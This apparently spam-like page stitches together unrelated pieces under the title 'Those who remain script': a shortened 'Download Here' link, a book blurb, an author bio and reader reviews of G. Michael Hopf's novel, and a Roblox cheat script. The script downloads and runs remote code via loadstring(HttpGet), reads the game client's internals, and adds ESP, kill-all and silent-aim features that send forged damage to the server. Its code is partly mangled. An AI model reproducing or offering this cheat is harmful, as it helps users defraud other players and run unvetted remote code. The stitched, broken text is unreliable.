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Those who remain script

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Nov 11th, 2024
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  2. Download Here --> https://tinyurl.com/rhf4x3dp (Copy and Paste Link)
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  9. Those Who Remain
  10. The war between the Republic of Cascadia and the rogue nation Western Canada is raging. With support from President Cruz in the United States, Gordon Van Zandt has assembled a formidable army to march north and engage the forces of Western Canada, who have occupied much of the panhandle of Idaho. Gordon must defeat Jacques and his army swiftly, but to do so requires a final decisive battle. This battle will be do or die for Gordon and his fledgling republic, but is not the only problem Gordon is facing. With much of his attention focused on Jacques, he must also dedicate time to a political war brewing in McCall and Olympia. There he'll discover his adversary is the most cunning and cut throat of any enemy he has ever faced on the battlefield. When it all ends, some who've stood with Gordon will be lost and those who remain pray that their sacrifices will usher in the new world they've been fighting so hard for.
  11. First published December 30, 2016
  12. About the author
  13. G. Michael Hopf
  14. ​G. Michael Hopf is a USA Today bestselling author of almost forty books including the international bestselling post-apocalyptic series, THE NEW WORLD. He has made a prominent name for himself in both the post-apocalyptic and western genres. To date he has sold over one million copies of his books worldwide and many of his works have been translated into German, French and Spanish. He is a combat veteran of the United States Marine Corps and currently is the co-founder and Managing Partner of Beyond The Fray Publishing, where he oversees the daily operations of the company.
  15. Ratings & Reviews
  16. Friends & Following
  17. Community Reviews
  18. The series of books was entertaining, without requiring any effort to read. Books to read on the beach or in flight.I listened to it all via Audible. The author wears his survivalist credentials on his sleeve, or at least that's the way it seemed to me. But the lack of subtly got a bit wearing by book three or four in the series.Others have mentioned the ending here, but I'm not going to do that in specifics.Suffice to say that the ending was completely implausible to me, unless you are attempting to make a political point and not end a book or series with credibility. The ending really ruined the book for me. The ending seemed completely at odds with what we were told about the main character. I don't think that I'd read or listen to any more of this author's books. I don’t need to be preached to, regarding the pros and cons of the US style of government. Being British, I'm not into prepping or survivalist lifestyles. But, if all you want is a fairly fast moving near future read, that won't challenge you. You could do worse.
  19. Underwhelming, rushed ending to the series.
  20. That 2066 arc is just too much. “Hi everyone, I faked my own death because of reasons and now I’m back to force my grandkid I just met on you all.” I miss the Titanic’s “it’s been 84 years” device from the first books.
  21. “Hey, I need to mention Luke in 2066! Oh I know, he went to Asia and lived happily ever after.”
  22. Secondary characters are even more two-dimensional than in the previous books. Pregnant girlfriend dies? Never mind, let’s just go to work like nothing happened. Poor Nelson, a true selfless NPC.
  23. Let’s free the slaves! But not today, I’m drunk. Also: you have eye bags so I guess you where captured by the same religious psycho, right? It’s a small planet.
  24. How many psycho, murderous leaders can fit in the series? A lot, apparently. But don’t worry, we won’t have to face them in battle. Due to budget cuts, the final battle scenes are cancelled and the villains will die pointless deaths on their own.
  25. Let’s carry some random henchman head around. Never mind, toss it away, the author changed his mind.
  26. Hey, remember when we discovered that the Venezuelans were instrumental in bringing the end of the world? Neither do we, let’s give them a free pass. Maybe Venezuelans are in such a bad shape, even if they escaped the EMP, that mercenaries would still prefer to live in the desolation following crazy Aztec burned man than go back home to their families.
  27. Finally, Author missed a great opportunity for a plot twist. Let me give my contribution:Scene: Two guys drinking espressos at Pat’s bar.Patron 1 - “Have you ever wondered how can Pat still serve coffee after all this time? He must have a huge stock!”Patron 2 - “That’s not coffee.”
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  30. Roblox-Scripts / Those who remain GUI
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  37. local utils = loadstring(game:HttpGet('https://raw.githubusercontent.com/Glowing-Red/Roblox-Scripts/main/Utilities-ThoseWhoRemainGui'))() local lib = loadstring(game:HttpGet('https://raw.githubusercontent.com/Glowing-Red/Roblox-Scripts/main/Uwuware-Ui-Library'))() local esp = loadstring(game:HttpGet('https://raw.githubusercontent.com/Glowing-Red/Roblox-Scripts/main/Kiriot%20Esp'))() esp:Toggle(true); esp.Players = false; esp.Color = Color3.fromRGB(66, 135, 245) local player = utils.Player local client = getsenv(player.PlayerScripts.Client) local curStr = getconstant(client.FireFlamethrower, 63) local infected = workspace.Entities.Infected esp:AddObjectListener(infected, Color = Color3.fromRGB(255,102,102), Type = 'Model', PrimaryPart = function(obj) while not obj:FindFirstChildWhichIsA('Part') do wait() end return obj:FindFirstChildWhichIsA('Part') end, IsEnabled = function(obj) return esp.zombie and player:DistanceFromCharacter(obj.PrimaryPart.Position) >) esp:AddObjectListener(workspace.Ignore.Items, Color = Color3.fromRGB(102,255,102), Type = 'Model', PrimaryPart = function(obj) while not obj:FindFirstChildWhichIsA('Part') do wait() end return obj:FindFirstChildWhichIsA('Part') end, IsEnabled = function(obj) return esp.item and player:DistanceFromCharacter(obj.PrimaryPart.Position) >) local window = lib:CreateWindow('Those Who Remain') local f = window:AddFolder('Main') local ka = f:AddToggle() f:AddBind() f:AddToggle() local f2 = window:AddFolder('Visuals') f2:AddToggle() f2:AddToggle() f2:AddSlider() f2:AddToggle() f2:AddSlider() lib:Init() while true do if killAll or silentAim then local zombie = utils:ClosestInstance('ToMouse', infected, 'Head', true) if zombie and (killAll or silentAim and utils.UIS:IsMouseButtonPressed(Enum.UserInputType.MouseButton1)) then utils.RS.RE:FireServer(curStr, ["Special"] = "Headshot", ["Damage"] = 37.5 >>>) end end wait() end
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